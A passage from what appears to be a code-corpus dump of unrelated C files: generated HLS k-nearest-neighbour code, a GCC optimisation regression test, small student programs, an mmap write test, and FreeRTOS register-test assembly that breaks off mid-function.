distance_w87 = sqr(temp_l77_i94_w1) + sqr(temp_l77_i95_w1);
distance_w71 = sqr(temp_l77_i100_w1) + sqr(temp_l77_i101_w1);
distance_w86 = sqr(temp_l77_i76_w1) + sqr(temp_l77_i77_w1);
distance_w77 = sqr(temp_l77_i102_w1) + sqr(temp_l77_i103_w1);
distance_w16 = sqr(temp_l77_i42_w1) + sqr(temp_l77_i43_w1);
distance_w21 = sqr(temp_l77_i78_w1) + sqr(temp_l77_i79_w1);
distance_w112 = sqr(temp_l77_i92_w1) + sqr(temp_l77_i93_w1);
distance_w122 = sqr(temp_l77_i36_w1) + sqr(temp_l77_i37_w1);
distance_w23 = sqr(temp_l77_i82_w1) + sqr(temp_l77_i83_w1);
distance_w126 = sqr(temp_l77_i122_w1) + sqr(temp_l77_i123_w1);
distance_w57 = sqr(temp_l77_i4_w1) + sqr(temp_l77_i5_w1);
distance_w61 = sqr(temp_l77_i30_w1) + sqr(temp_l77_i31_w1);
distance_w64 = sqr(temp_l77_i124_w1) + sqr(temp_l77_i125_w1);
distance_w75 = sqr(temp_l77_i6_w1) + sqr(temp_l77_i7_w1);
distance_w115 = sqr(temp_l77_i70_w1) + sqr(temp_l77_i71_w1);
distance_w39 = sqr(temp_l77_i2_w1) + sqr(temp_l77_i3_w1);
distance_w59 = sqr(temp_l77_i84_w1) + sqr(temp_l77_i85_w1);
distance_w42 = sqr(temp_l77_i44_w1) + sqr(temp_l77_i45_w1);
distance_w38 = 0 + sqr(temp_l77_i1_w1);
distance_w95 = sqr(temp_l77_i46_w1) + sqr(temp_l77_i47_w1);
distance_w117 = sqr(temp_l77_i68_w1) + sqr(temp_l77_i69_w1);
distance_w84 = sqr(temp_l77_i98_w1) + sqr(temp_l77_i99_w1);
distance_w52 = sqr(temp_l77_i8_w1) + sqr(temp_l77_i9_w1);
distance_w79 = sqr(temp_l77_i34_w1) + sqr(temp_l77_i35_w1);
distance_w68 = sqr(temp_l77_i118_w1) + sqr(temp_l77_i119_w1);
distance_w19 = sqr(temp_l77_i74_w1) + sqr(temp_l77_i75_w1);
distance_w72 = sqr(temp_l77_i56_w1) + sqr(temp_l77_i57_w1);
distance_w119 = sqr(temp_l77_i26_w1) + sqr(temp_l77_i27_w1);
distance_w43 = sqr(temp_l77_i18_w1) + sqr(temp_l77_i19_w1);
distance_w76 = sqr(temp_l77_i108_w1) + sqr(temp_l77_i109_w1);
distance_w20 = sqr(temp_l77_i72_w1) + sqr(temp_l77_i73_w1);
distance_w82 = sqr(temp_l77_i58_w1) + sqr(temp_l77_i59_w1);
distance_w25 = sqr(temp_l77_i62_w1) + sqr(temp_l77_i63_w1);
distance_w17 = sqr(temp_l77_i40_w1) + sqr(temp_l77_i41_w1);
distance_w80 = sqr(temp_l77_i32_w1) + sqr(temp_l77_i33_w1);
distance_w51 = sqr(temp_l77_i104_w1) + sqr(temp_l77_i105_w1);
distance_w6 = distance_w104 + distance_w8;
distance_w12 = distance_w14 + distance_w13;
distance_w15 = distance_w17 + distance_w16;
distance_w18 = distance_w20 + distance_w19;
distance_w26 = distance_w86 + distance_w21;
distance_w22 = distance_w24 + distance_w23;
distance_w123 = distance_w118 + distance_w25;
distance_w120 = distance_w125 + distance_w30;
distance_w99 = distance_w64 + distance_w34;
distance_w37 = distance_w38 + distance_w39;
distance_w121 = distance_w122 + distance_w40;
distance_w69 = distance_w52 + distance_w41;
distance_w7 = distance_w73 + distance_w43;
distance_w46 = distance_w48 + distance_w47;
distance_w11 = distance_w70 + distance_w56;
distance_w60 = distance_w62 + distance_w61;
distance_w65 = distance_w51 + distance_w66;
distance_w67 = distance_w50 + distance_w68;
distance_w74 = distance_w57 + distance_w75;
distance_w114 = distance_w71 + distance_w77;
distance_w78 = distance_w80 + distance_w79;
distance_w81 = distance_w72 + distance_w82;
distance_w83 = distance_w85 + distance_w84;
distance_w10 = distance_w112 + distance_w87;
distance_w98 = distance_w76 + distance_w89;
distance_w127 = distance_w42 + distance_w95;
distance_w124 = distance_w59 + distance_w101;
distance_w111 = distance_w58 + distance_w107;
distance_w109 = distance_w92 + distance_w110;
distance_w108 = distance_w117 + distance_w115;
distance_w94 = distance_w1 + distance_w119;
distance_w100 = distance_w88 + distance_w126;
distance_w5 = distance_w7 + distance_w6;
distance_w9 = distance_w11 + distance_w10;
distance_w106 = distance_w69 + distance_w12;
distance_w3 = distance_w18 + distance_w26;
distance_w105 = distance_w37 + distance_w74;
distance_w93 = distance_w94 + distance_w60;
distance_w55 = distance_w120 + distance_w67;
distance_w32 = distance_w65 + distance_w98;
distance_w54 = distance_w100 + distance_w99;
distance_w4 = distance_w46 + distance_w108;
distance_w113 = distance_w111 + distance_w109;
distance_w33 = distance_w83 + distance_w114;
distance_w45 = distance_w78 + distance_w121;
distance_w116 = distance_w81 + distance_w123;
distance_w36 = distance_w22 + distance_w124;
distance_w44 = distance_w15 + distance_w127;
distance_w2 = distance_w4 + distance_w3;
distance_w35 = distance_w36 + distance_w9;
distance_w31 = distance_w33 + distance_w32;
distance_w29 = distance_w45 + distance_w44;
distance_w53 = distance_w55 + distance_w54;
distance_w103 = distance_w5 + distance_w93;
distance_w102 = distance_w105 + distance_w106;
distance_w28 = distance_w113 + distance_w116;
distance_w27 = distance_w29 + distance_w28;
distance_w49 = distance_w2 + distance_w35;
distance_w91 = distance_w31 + distance_w53;
distance_w97 = distance_w102 + distance_w103;
distance_w90 = distance_w49 + distance_w91;
distance_w96 = distance_w97 + distance_w27;
distance_w63 = distance_w96 + distance_w90;
distance_array[i] = distance_w63 + sqr(temp_l77_i128_w1);
}
}
void epilogue(char knownClasses[8], float distance_array_1[2], float distance_array_0[2], float distance_array_3[2], float distance_array_2[2], char *out) {
// Step 2: Initialize local variables
char BestPointsClasses[3];
float BestPointsDistances[3];
char c1_w1;
char c2_w1;
char c3_w1;
char cbest_w1;
char cbest_w2;
char cbest_w3;
char cbest_w4;
char cbest_w5;
char cbest_w6;
char cbest_w7;
char cbest_w8;
char classID_w1;
char classID_w2;
char classID_w3;
char classID_w4;
float d1_w1;
float d2_w1;
float d3_w1;
float dbest_w1;
float dbest_w10;
float dbest_w11;
float dbest_w12;
float dbest_w13;
float dbest_w14;
float dbest_w15;
float dbest_w16;
float dbest_w17;
float dbest_w18;
float dbest_w19;
float dbest_w2;
float dbest_w20;
float dbest_w21;
float dbest_w22;
float dbest_w23;
float dbest_w24;
float dbest_w25;
float dbest_w26;
float dbest_w27;
float dbest_w28;
float dbest_w29;
float dbest_w3;
float dbest_w30;
float dbest_w31;
float dbest_w32;
float dbest_w4;
float dbest_w5;
float dbest_w6;
float dbest_w7;
float dbest_w8;
float dbest_w9;
int index_w1;
int index_w10;
int index_w11;
int index_w12;
int index_w13;
int index_w14;
int index_w15;
int index_w16;
int index_w17;
int index_w18;
int index_w19;
int index_w2;
int index_w20;
int index_w21;
int index_w22;
int index_w23;
int index_w24;
int index_w3;
int index_w4;
int index_w5;
int index_w6;
int index_w7;
int index_w8;
int index_w9;
float max_tmp_w1;
float max_tmp_w10;
float max_tmp_w11;
float max_tmp_w12;
float max_tmp_w13;
float max_tmp_w14;
float max_tmp_w15;
float max_tmp_w16;
float max_tmp_w17;
float max_tmp_w18;
float max_tmp_w19;
float max_tmp_w2;
float max_tmp_w20;
float max_tmp_w21;
float max_tmp_w22;
float max_tmp_w23;
float max_tmp_w24;
float max_tmp_w3;
float max_tmp_w4;
float max_tmp_w5;
float max_tmp_w6;
float max_tmp_w7;
float max_tmp_w8;
float max_tmp_w9;
float max_w1;
float max_w10;
float max_w11;
float max_w12;
float max_w13;
float max_w14;
float max_w15;
float max_w16;
float max_w17;
float max_w18;
float max_w19;
float max_w2;
float max_w20;
float max_w21;
float max_w22;
float max_w23;
float max_w24;
float max_w3;
float max_w4;
float max_w5;
float max_w6;
float max_w7;
float max_w8;
float max_w9;
float mindist_w1;
float mindist_w2;
double muxOutput_w1;
double muxOutput_w10;
double muxOutput_w11;
double muxOutput_w12;
double muxOutput_w13;
double muxOutput_w14;
double muxOutput_w15;
double muxOutput_w16;
double muxOutput_w2;
double muxOutput_w3;
double muxOutput_w4;
double muxOutput_w5;
double muxOutput_w6;
double muxOutput_w7;
double muxOutput_w8;
double muxOutput_w9;
double operationOutput_w1;
double operationOutput_w10;
double operationOutput_w11;
double operationOutput_w12;
double operationOutput_w13;
double operationOutput_w14;
double operationOutput_w15;
double operationOutput_w16;
double operationOutput_w17;
double operationOutput_w18;
double operationOutput_w19;
double operationOutput_w2;
double operationOutput_w20;
double operationOutput_w21;
double operationOutput_w22;
double operationOutput_w23;
double operationOutput_w24;
double operationOutput_w25;
double operationOutput_w26;
double operationOutput_w27;
double operationOutput_w28;
double operationOutput_w29;
double operationOutput_w3;
double operationOutput_w30;
double operationOutput_w31;
double operationOutput_w32;
double operationOutput_w33;
double operationOutput_w34;
double operationOutput_w35;
double operationOutput_w36;
double operationOutput_w37;
double operationOutput_w38;
double operationOutput_w4;
double operationOutput_w5;
double operationOutput_w6;
double operationOutput_w7;
double operationOutput_w8;
double operationOutput_w9;
// Initialization done
max_tmp_w10 = 0;
max_tmp_w3 = 0;
max_tmp_w24 = 0;
max_tmp_w11 = 0;
max_tmp_w5 = 0;
max_tmp_w7 = 0;
max_tmp_w8 = 0;
max_tmp_w17 = 0;
BestPointsDistances[1] = MAXDISTANCE;
BestPointsDistances[2] = MAXDISTANCE;
BestPointsDistances[0] = MAXDISTANCE;
BestPointsClasses[1] = NUM_CLASSES;
BestPointsClasses[0] = NUM_CLASSES;
BestPointsClasses[2] = NUM_CLASSES;
dbest_w22 = BestPointsDistances[0];
dbest_w12 = BestPointsDistances[1];
dbest_w14 = BestPointsDistances[2];
operationOutput_w25 = dbest_w22 > max_tmp_w5;
max_w12 = operationOutput_w25 ? dbest_w22:0;
index_w22 = operationOutput_w25 ? 0:0;
max_tmp_w15 = max_w12;
operationOutput_w33 = dbest_w12 > max_tmp_w15;
index_w23 = operationOutput_w33 ? 1:index_w22;
max_w23 = operationOutput_w33 ? dbest_w12:max_w12;
max_tmp_w23 = max_w23;
operationOutput_w36 = dbest_w14 > max_tmp_w23;
max_w3 = operationOutput_w36 ? dbest_w14:max_w23;
index_w7 = operationOutput_w36 ? 2:index_w23;
operationOutput_w3 = distance_array_0[0] < max_w3;
cbest_w1 = BestPointsClasses[index_w7];
dbest_w5 = BestPointsDistances[index_w7];
muxOutput_w5 = operationOutput_w3 ? knownClasses[0]:cbest_w1;
muxOutput_w2 = operationOutput_w3 ? distance_array_0[0]:dbest_w5;
BestPointsClasses[index_w7] = muxOutput_w5;
BestPointsDistances[index_w7] = muxOutput_w2;
dbest_w18 = BestPointsDistances[0];
dbest_w25 = BestPointsDistances[1];
dbest_w11 = BestPointsDistances[2];
operationOutput_w2 = dbest_w18 > max_tmp_w17;
index_w2 = operationOutput_w2 ? 0:0;
max_w6 = operationOutput_w2 ? dbest_w18:0;
max_tmp_w9 = max_w6;
operationOutput_w22 = dbest_w25 > max_tmp_w9;
index_w13 = operationOutput_w22 ? 1:index_w2;
max_w14 = operationOutput_w22 ? dbest_w25:max_w6;
max_tmp_w16 = max_w14;
operationOutput_w26 = dbest_w11 > max_tmp_w16;
max_w19 = operationOutput_w26 ? dbest_w11:max_w14;
index_w1 = operationOutput_w26 ? 2:index_w13;
operationOutput_w12 = distance_array_0[1] < max_w19;
cbest_w7 = BestPointsClasses[index_w1];
dbest_w10 = BestPointsDistances[index_w1];
muxOutput_w6 = operationOutput_w12 ? distance_array_0[1]:dbest_w10;
muxOutput_w1 = operationOutput_w12 ? knownClasses[1]:cbest_w7;
BestPointsDistances[index_w1] = muxOutput_w6;
BestPointsClasses[index_w1] = muxOutput_w1;
dbest_w24 = BestPointsDistances[0];
dbest_w32 = BestPointsDistances[1];
dbest_w19 = BestPointsDistances[2];
operationOutput_w27 = dbest_w24 > max_tmp_w3;
max_w24 = operationOutput_w27 ? dbest_w24:0;
index_w20 = operationOutput_w27 ? 0:0;
max_tmp_w22 = max_w24;
operationOutput_w37 = dbest_w32 > max_tmp_w22;
index_w24 = operationOutput_w37 ? 1:index_w20;
max_w17 = operationOutput_w37 ? dbest_w32:max_w24;
max_tmp_w12 = max_w17;
operationOutput_w23 = dbest_w19 > max_tmp_w12;
max_w5 = operationOutput_w23 ? dbest_w19:max_w17;
index_w3 = operationOutput_w23 ? 2:index_w24;
operationOutput_w9 = distance_array_1[0] < max_w5;
cbest_w4 = BestPointsClasses[index_w3];
dbest_w8 = BestPointsDistances[index_w3];
muxOutput_w7 = operationOutput_w9 ? distance_array_1[0]:dbest_w8;
muxOutput_w3 = operationOutput_w9 ? knownClasses[2]:cbest_w4;
BestPointsClasses[index_w3] = muxOutput_w3;
BestPointsDistances[index_w3] = muxOutput_w7;
dbest_w3 = BestPointsDistances[0];
dbest_w27 = BestPointsDistances[1];
dbest_w26 = BestPointsDistances[2];
operationOutput_w15 = dbest_w3 > max_tmp_w7;
index_w16 = operationOutput_w15 ? 0:0;
max_w20 = operationOutput_w15 ? dbest_w3:0;
max_tmp_w20 = max_w20;
operationOutput_w28 = dbest_w27 > max_tmp_w20;
max_w16 = operationOutput_w28 ? dbest_w27:max_w20;
index_w15 = operationOutput_w28 ? 1:index_w16;
max_tmp_w14 = max_w16;
operationOutput_w29 = dbest_w26 > max_tmp_w14;
index_w11 = operationOutput_w29 ? 2:index_w15;
max_w15 = operationOutput_w29 ? dbest_w26:max_w16;
operationOutput_w35 = distance_array_1[1] < max_w15;
cbest_w8 = BestPointsClasses[index_w11];
dbest_w15 = BestPointsDistances[index_w11];
muxOutput_w13 = operationOutput_w35 ? distance_array_1[1]:dbest_w15;
muxOutput_w16 = operationOutput_w35 ? knownClasses[3]:cbest_w8;
BestPointsClasses[index_w11] = muxOutput_w16;
BestPointsDistances[index_w11] = muxOutput_w13;
dbest_w17 = BestPointsDistances[0];
dbest_w9 = BestPointsDistances[1];
dbest_w1 = BestPointsDistances[2];
operationOutput_w17 = dbest_w17 > max_tmp_w24;
max_w9 = operationOutput_w17 ? dbest_w17:0;
index_w8 = operationOutput_w17 ? 0:0;
max_tmp_w2 = max_w9;
operationOutput_w8 = dbest_w9 > max_tmp_w2;
index_w10 = operationOutput_w8 ? 1:index_w8;
max_w22 = operationOutput_w8 ? dbest_w9:max_w9;
max_tmp_w6 = max_w22;
operationOutput_w13 = dbest_w1 > max_tmp_w6;
max_w10 = operationOutput_w13 ? dbest_w1:max_w22;
index_w19 = operationOutput_w13 ? 2:index_w10;
operationOutput_w18 = distance_array_2[0] < max_w10;
cbest_w2 = BestPointsClasses[index_w19];
dbest_w31 = BestPointsDistances[index_w19];
muxOutput_w15 = operationOutput_w18 ? distance_array_2[0]:dbest_w31;
muxOutput_w8 = operationOutput_w18 ? knownClasses[4]:cbest_w2;
BestPointsClasses[index_w19] = muxOutput_w8;
BestPointsDistances[index_w19] = muxOutput_w15;
dbest_w28 = BestPointsDistances[0];
dbest_w30 = BestPointsDistances[1];
dbest_w2 = BestPointsDistances[2];
operationOutput_w11 = dbest_w28 > max_tmp_w11;
max_w21 = operationOutput_w11 ? dbest_w28:0;
index_w5 = operationOutput_w11 ? 0:0;
max_tmp_w18 = max_w21;
operationOutput_w4 = dbest_w30 > max_tmp_w18;
index_w4 = operationOutput_w4 ? 1:index_w5;
max_w8 = operationOutput_w4 ? dbest_w30:max_w21;
max_tmp_w1 = max_w8;
operationOutput_w5 = dbest_w2 > max_tmp_w1;
index_w14 = operationOutput_w5 ? 2:index_w4;
max_w7 = operationOutput_w5 ? dbest_w2:max_w8;
operationOutput_w20 = distance_array_2[1] < max_w7;
cbest_w5 = BestPointsClasses[index_w14];
dbest_w23 = BestPointsDistances[index_w14];
muxOutput_w10 = operationOutput_w20 ? knownClasses[5]:cbest_w5;
muxOutput_w14 = operationOutput_w20 ? distance_array_2[1]:dbest_w23;
BestPointsClasses[index_w14] = muxOutput_w10;
BestPointsDistances[index_w14] = muxOutput_w14;
dbest_w16 = BestPointsDistances[0];
dbest_w21 = BestPointsDistances[1];
dbest_w4 = BestPointsDistances[2];
operationOutput_w19 = dbest_w16 > max_tmp_w10;
index_w9 = operationOutput_w19 ? 0:0;
max_w11 = operationOutput_w19 ? dbest_w16:0;
max_tmp_w19 = max_w11;
operationOutput_w21 = dbest_w21 > max_tmp_w19;
index_w12 = operationOutput_w21 ? 1:index_w9;
max_w2 = operationOutput_w21 ? dbest_w21:max_w11;
max_tmp_w21 = max_w2;
operationOutput_w1 = dbest_w4 > max_tmp_w21;
index_w6 = operationOutput_w1 ? 2:index_w12;
max_w1 = operationOutput_w1 ? dbest_w4:max_w2;
operationOutput_w6 = distance_array_3[0] < max_w1;
cbest_w3 = BestPointsClasses[index_w6];
dbest_w6 = BestPointsDistances[index_w6];
muxOutput_w4 = operationOutput_w6 ? distance_array_3[0]:dbest_w6;
muxOutput_w9 = operationOutput_w6 ? knownClasses[6]:cbest_w3;
BestPointsClasses[index_w6] = muxOutput_w9;
BestPointsDistances[index_w6] = muxOutput_w4;
dbest_w13 = BestPointsDistances[0];
dbest_w20 = BestPointsDistances[1];
dbest_w7 = BestPointsDistances[2];
operationOutput_w16 = dbest_w13 > max_tmp_w8;
max_w13 = operationOutput_w16 ? dbest_w13:0;
index_w21 = operationOutput_w16 ? 0:0;
max_tmp_w13 = max_w13;
operationOutput_w24 = dbest_w20 > max_tmp_w13;
index_w18 = operationOutput_w24 ? 1:index_w21;
max_w4 = operationOutput_w24 ? dbest_w20:max_w13;
max_tmp_w4 = max_w4;
operationOutput_w30 = dbest_w7 > max_tmp_w4;
max_w18 = operationOutput_w30 ? dbest_w7:max_w4;
index_w17 = operationOutput_w30 ? 2:index_w18;
operationOutput_w31 = distance_array_3[1] < max_w18;
cbest_w6 = BestPointsClasses[index_w17];
dbest_w29 = BestPointsDistances[index_w17];
muxOutput_w12 = operationOutput_w31 ? distance_array_3[1]:dbest_w29;
muxOutput_w11 = operationOutput_w31 ? knownClasses[7]:cbest_w6;
BestPointsClasses[index_w17] = muxOutput_w11;
BestPointsDistances[index_w17] = muxOutput_w12;
c1_w1 = BestPointsClasses[0];
c2_w1 = BestPointsClasses[1];
c3_w1 = BestPointsClasses[2];
d1_w1 = BestPointsDistances[0];
d2_w1 = BestPointsDistances[1];
d3_w1 = BestPointsDistances[2];
operationOutput_w14 = c1_w1 == c3_w1;
operationOutput_w34 = c2_w1 == c3_w1;
mindist_w1 = d1_w1;
operationOutput_w10 = c1_w1 == c2_w1;
operationOutput_w32 = mindist_w1 > d2_w1;
operationOutput_w7 = mindist_w1 > d2_w1;
classID_w1 = operationOutput_w7 ? c2_w1:c1_w1;
mindist_w2 = operationOutput_w32 ? d2_w1:d1_w1;
operationOutput_w38 = mindist_w2 > d3_w1;
classID_w4 = operationOutput_w38 ? c3_w1:classID_w1;
classID_w3 = operationOutput_w34 ? c2_w1:classID_w4;
classID_w2 = operationOutput_w14 ? c1_w1:classID_w3;
*out = operationOutput_w10 ? c1_w1:classID_w2;
}
void knnFloatNoSqrt8p128f_4parallel(float xFeatures[128], char knownClasses[8], float knownFeatures_0[2][128], float knownFeatures_1[2][128], float knownFeatures_2[2][128], float knownFeatures_3[2][128], char *out) {
// Step 2: Initialize local variables
float distance_array_0[2];
float distance_array_1[2];
float distance_array_2[2];
float distance_array_3[2];
#pragma HLS ARRAY_PARTITION variable=xFeatures cyclic factor=128 dim=1
// Initialization done
#pragma HLS dataflow
parallel_0(knownFeatures_0,xFeatures,distance_array_0);
parallel_0(knownFeatures_1,xFeatures,distance_array_1);
parallel_0(knownFeatures_2,xFeatures,distance_array_2);
parallel_0(knownFeatures_3,xFeatures,distance_array_3);
epilogue(knownClasses,distance_array_1,distance_array_0,distance_array_3,distance_array_2,out);
}
|
the_stack_data/1106311.c |
#include <stdio.h>
int main(void)
{
int lado, dobro;
printf("Informe o lado do quadrado: ");
scanf("%d", &lado);
dobro = 2*(lado*lado);
printf("O dobro da area do quadrado eh %d", dobro);
return 0;
} |
the_stack_data/90037.c | /* PR middle-end/27959 */
/* { dg-do run { target { int32plus } } } */
/* { dg-options "-O2" } */
/* { dg-options "-O2 -mtune=z990" { target s390*-*-* } } */
extern void abort (void);
struct B
{
unsigned int b1, b2, b3;
char b4;
};
struct C
{
char c1;
};
struct D
{
char *d1;
struct C **d2;
unsigned int d3;
};
void
__attribute__((noinline))
foo (void *x, struct B *y, unsigned int *z)
{
if (x)
abort ();
if (y->b1 != 7 || y->b2 != 5 || y->b3 != 3 || y->b4)
abort ();
if (*z != 2)
abort ();
}
int
__attribute__((noinline))
baz (unsigned int *x, unsigned int y)
{
asm volatile ("" : : "r" (&x), "r" (&y) : "memory");
return *x + y;
}
inline int bar (unsigned int *x, unsigned int y)
{
if (y < *x)
return 0;
return baz (x, y);
}
unsigned int *
__attribute__((noinline))
test (struct D *x, unsigned int *y)
{
struct B b;
unsigned int c;
bar (y, x->d3);
if ((*(x->d2))->c1)
c = ((unsigned char) x->d1[0]
+ ((unsigned char) x->d1[1] << 8)
+ ((unsigned char) x->d1[2] << 16)
+ ((short) x->d1[3] << 24));
else
{
int d;
((char *) &d)[0] = x->d1[0];
((char *) &d)[1] = x->d1[1];
((char *) &d)[2] = x->d1[2];
((char *) &d)[3] = x->d1[3];
c = d;
}
b.b4 = 0;
b.b1 = c / 10000L % 10000;
b.b2 = c / 100 % 100;
b.b3 = c % 100;
foo (0, &b, y);
return y;
}
int
main (void)
{
unsigned int x = 900070503;
unsigned int y = 2;
struct C c = { 0 }, *cptr = &c;
struct D d = { (char *) &x, &cptr, 0 };
if (test (&d, &y) != &y)
abort ();
return 0;
}
|
the_stack_data/100139786.c | // EXPECT: 3
int main() {
int arr[2];
*arr = 1;
*(arr + 1) = 2;
return *arr + *(arr + 1);
} |
the_stack_data/247016942.c | //EXERCICIO 2
#include <stdio.h>
#include <string.h>
typedef struct
{
char nome[50];
char endereco[50];
int telefone[50];
} Pessoas;
int main()
{
Pessoas pessoa[5];
for (int cont = 0; cont < 5; cont++)
{
printf("\nDigite o nome: ");
scanf("%s", &pessoa[cont].nome);
printf("Digite o endereco: ");
scanf("%s", &pessoa[cont].endereco);
printf("Digite o telefone: ");
scanf("%d", &pessoa[cont].telefone);
}
for (int cont = 0; cont < 5; cont++)
{
printf("\nNome: %s", pessoa[cont].nome);
printf("\nEndereco: %s", pessoa[cont].endereco);
printf("\nNumero: %d", pessoa[cont].telefone);
}
return 0;
} |
the_stack_data/18888578.c | // To find the rank of a string among all its lexicographically sorted permutations.
#include <stdio.h>
#include <string.h>
int lexicographic_rank(char*);
int fact(int);
int smallerright(char *, int);
int main()
{
char string[100];
printf("Enter the string:");
scanf("%s", string);
printf("Lexicographic Rank of the string=%d", lexicographic_rank(string));
}
// Function to calculate the rank of the string
int lexicographic_rank(char *string)
{
int length = strlen(string);
int total_permutation = fact(length);
int i = 0;
int rank = 1;
int countsmallright;
while (*(string + i) != '\0')
{
total_permutation = total_permutation / (length - i);
countsmallright = smallerright(string, i);
rank = rank + (countsmallright *total_permutation);
i++;
}
return rank;
}
// Function to check if the element on the right side is smaller than the index ith element
int smallerright(char *string, int index)
{
int i = index;
int count = 0;
while (*(string + i) != '\0')
{
if (*(string + i)<*(string + index))
{
count = count + 1;
}
i++;
}
return count;
}
// To calculate factorial of a number using recursion
int fact(int num)
{
if (num == 0)
return 1;
else
return (num* fact(num - 1));
}
/*
Sample Output
Enter the string:rohan
Lexicographic Rank of the string=117
Complexities
Time Complexity:O(n^2)
Space Complexity:O(n)
*/
|
the_stack_data/98574836.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#define DATAFILE "mapwrite.data"
int
main(int argc, char *argv[])
{
int fd;
char *ptr;
int len = 3;
/* prepare data file */
unlink(DATAFILE); /* ignore error */
fd = open(DATAFILE, O_WRONLY|O_CREAT, 0666);
if (fd < 0) {
perror(DATAFILE);
exit(1);
}
write(fd, "NO\n", 3);
close(fd);
/* write by mmap */
fd = open(DATAFILE, O_RDWR);
if (fd < 0) {
perror(DATAFILE);
exit(1);
}
ptr = (char*)mmap(0, len, PROT_WRITE, MAP_SHARED, fd, 0);
if (!ptr) {
perror("mmap(2)");
exit(1);
}
close(fd);
ptr[0] = 'O';
ptr[1] = 'K';
ptr[2] = '\n';
munmap(ptr, len);
/* cat it */
system("cat " DATAFILE);
exit(0);
}
|
the_stack_data/28262801.c | /*
* FreeRTOS Kernel V10.1.1
* Copyright (C) 2018 Amazon.com, Inc. or its affiliates. All Rights Reserved.
*
* Permission is hereby granted, free of charge, to any person obtaining a copy of
* this software and associated documentation files (the "Software"), to deal in
* the Software without restriction, including without limitation the rights to
* use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
* the Software, and to permit persons to whom the Software is furnished to do so,
* subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
* FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
* COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
* IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
* CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*
* http://www.FreeRTOS.org
* http://aws.amazon.com/freertos
*
* 1 tab == 4 spaces!
*/
/*
* "Reg test" tasks - These fill the registers with known values, then check
* that each register maintains its expected value for the lifetime of the
* task. Each task uses a different set of values. The reg test tasks execute
* with a very low priority, so get preempted very frequently. A register
* containing an unexpected value is indicative of an error in the context
* switching mechanism.
*/
void vRegTest1Task( void ) __attribute__((naked));
void vRegTest2Task( void ) __attribute__((naked));
void vRegTest1Task( void )
{
__asm volatile
(
".extern ulRegTest1LoopCounter \n"
" \n"
" /* Fill the core registers with known values. */ \n"
" movs r1, #101 \n"
" movs r2, #102 \n"
" movs r3, #103 \n"
" movs r4, #104 \n"
" movs r5, #105 \n"
" movs r6, #106 \n"
" movs r7, #107 \n"
" movs r0, #108 \n"
" mov r8, r0 \n"
" movs r0, #109 \n"
" mov r9, r0 \n"
" movs r0, #110 \n"
" mov r10, r0 \n"
" movs r0, #111 \n"
" mov r11, r0 \n"
" movs r0, #112 \n"
" mov r12, r0 \n"
" movs r0, #100 \n"
" \n"
"reg1_loop: \n"
" \n"
" cmp r0, #100 \n"
" bne reg1_error_loop \n"
" cmp r1, #101 \n"
" bne reg1_error_loop \n"
" cmp r2, #102 \n"
" bne reg1_error_loop \n"
" cmp r3, #103 \n"
" bne reg1_error_loop \n"
" cmp r4, #104 \n"
" bne reg1_error_loop \n"
" cmp r5, #105 \n"
" bne reg1_error_loop \n"
" cmp r6, #106 \n"
" bne reg1_error_loop \n"
" cmp r7, #107 \n"
" bne reg1_error_loop \n"
" movs r0, #108 \n"
" cmp r8, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #109 \n"
" cmp r9, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #110 \n"
" cmp r10, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #111 \n"
" cmp r11, r0 \n"
" bne reg1_error_loop \n"
" movs r0, #112 \n"
" cmp r12, r0 \n"
" bne reg1_error_loop \n"
" \n"
" /* Everything passed, increment the loop counter. */ \n"
" push { r1 } \n"
" ldr r0, =ulRegTest1LoopCounter \n"
" ldr r1, [r0] \n"
" add r1, r1, #1 \n"
" str r1, [r0] \n"
" \n"
" /* Yield to increase test coverage. */ \n"
" movs r0, #0x01 \n"
" ldr r1, =0xe000ed04 \n" /*NVIC_INT_CTRL */
" lsl r0, #28 \n" /* Shift to PendSV bit */
" str r0, [r1] \n"
" dsb \n"
" pop { r1 } \n"
" \n"
" /* Start again. */ \n"
" movs r0, #100 \n"
" b reg1_loop \n"
" \n"
"reg1_error_loop: \n"
" /* If this line is hit then there was an error in a core register value. \n"
" The loop ensures the loop counter stops incrementing. */ \n"
" b reg1_error_loop \n"
" nop \n"
);
}
/*-----------------------------------------------------------*/
void vRegTest2Task( void )
{
__asm volatile
(
".extern ulRegTest2LoopCounter \n"
" \n"
" /* Fill the core registers with known values. */ \n"
" movs r1, #1 \n"
" movs r2, #2 \n"
" movs r3, #3 \n"
" movs r4, #4 \n"
" movs r5, #5 \n"
" movs r6, #6 \n"
" movs r7, #7 \n"
" movs r0, #8 \n"
" movs r8, r0 \n"
" movs r0, #9 \n"
" mov r9, r0 \n"
" movs r0, #10 \n"
" mov r10, r0 \n"
" movs r0, #11 \n"
" mov r11, r0 \n"
" movs r0, #12 \n"
" mov r12, r0 \n"
" movs r0, #10 \n"
" \n"
"reg2_loop: \n"
" \n"
" cmp r0, #10 \n"
" bne reg2_error_loop \n"
" cmp r1, #1 \n"
" bne reg2_error_loop \n"
" cmp r2, #2 \n"
" bne reg2_error_loop \n"
" cmp r3, #3 \n"
" bne reg2_error_loop \n"
" cmp r4, #4 \n"
" bne reg2_error_loop \n"
" cmp r5, #5 \n"
" bne reg2_error_loop \n"
" cmp r6, #6 \n"
" bne reg2_error_loop \n"
" cmp r7, #7 \n"
" bne reg2_error_loop \n"
" movs r0, #8 \n"
" cmp r8, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #9 \n"
" cmp r9, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #10 \n"
" cmp r10, r0 \n"
" bne reg2_error_loop \n"
" movs r0, #11 \n"
" cmp r11, r0 \n"
